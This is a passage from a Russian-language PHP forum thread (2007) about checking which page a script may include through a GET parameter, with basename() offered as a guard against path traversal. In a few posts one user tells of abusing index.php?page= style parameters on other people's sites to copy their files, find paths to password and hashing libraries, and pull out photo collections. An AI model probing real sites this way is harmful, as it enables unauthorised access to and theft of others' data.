и далее из БД или просто из файла или написанного внутри того же скрипта проверять соответствие:

всё

Код $page=basename($_GET['page']) на порядок короче твоего. Причем не увеличивается(!) с увеличением количества страниц.

не, я вообще с глобальной мыслью о централизации

то есть, если меню загнать в БД, чтоб легко было править и т.п....
тогда и проверять надо исходя из (есть ли такая страница)

то есть чтобы вообще никаких сюрпризов

Лично я - так вообще не сторонник инклюдить переменные PHP скрипты.
Кабы не классическая реализация ЧПУ, когда все запросы идут на один индекс, который уже инклюдит в себя нужные модули - так и вообще бы никогда ничего не инклюдил с переменным именем, а только конфиги.

Твой подход тоже неплох, за исключением того, что в базу придется лезть перед тем, как сторонний модуль инклюдить.
По мне - так проверил нужный файл на наличие - та заинклюдил. Вот и все проверки.

Но спорить о том, какой способ лучше - не стану. Все хороши.

ой, вспомнил,
к вопросу о копировании файлов, допустим


то есть мы копируем чужой файл, разбираемся с методикой его поведения, достаём секретный сведения,
скажем адрес на библиотеку функций занимающихся паролизацией и шифрованием, генерацией хэша и т.п.,
кот. тоже копируем

конечно, это устраняется вынесением особо важных файлов за дерево каталогов,
кстати, туда нет возможности залезть чужому?

задавать конкретный адрес в передаваемых параметрах ( index.php?page=lock.php ) - дополнительный шанс хакеру
чем меньше информации о структуре сайта, тем сложнее будет его сломать

сотри, пока никто не видел...

адреса же вида index.php?page=lock.php вообще не имеют смысла.
куда проще и удобнее писать 
lock.php

стёр бы, если бы не поигрался с несколькими сайтами на вшивость

оказывается очень удобно коллекции фотографий таким образом вытягивать

при чем здесь коллекции фотографий? ты пишешь не про фотографии, а про index.php

Добавлено @ 16:36

слушай, не в обиду, перечитай, плиз, http://phpfaq.ru/na_tanke


Это сообщение отредактировал(а) Feldmarschall - 18.12.2007, 16:36

если отсылаешь на танк, то конкретней куда (дуло, башня, гусеница?),
если конкретно index.php, то и его тоже копировал, просто я же не хакер долбанный какой-нибудь, лазить по чужим файлам
так кое-где использовал для получения толпы фоток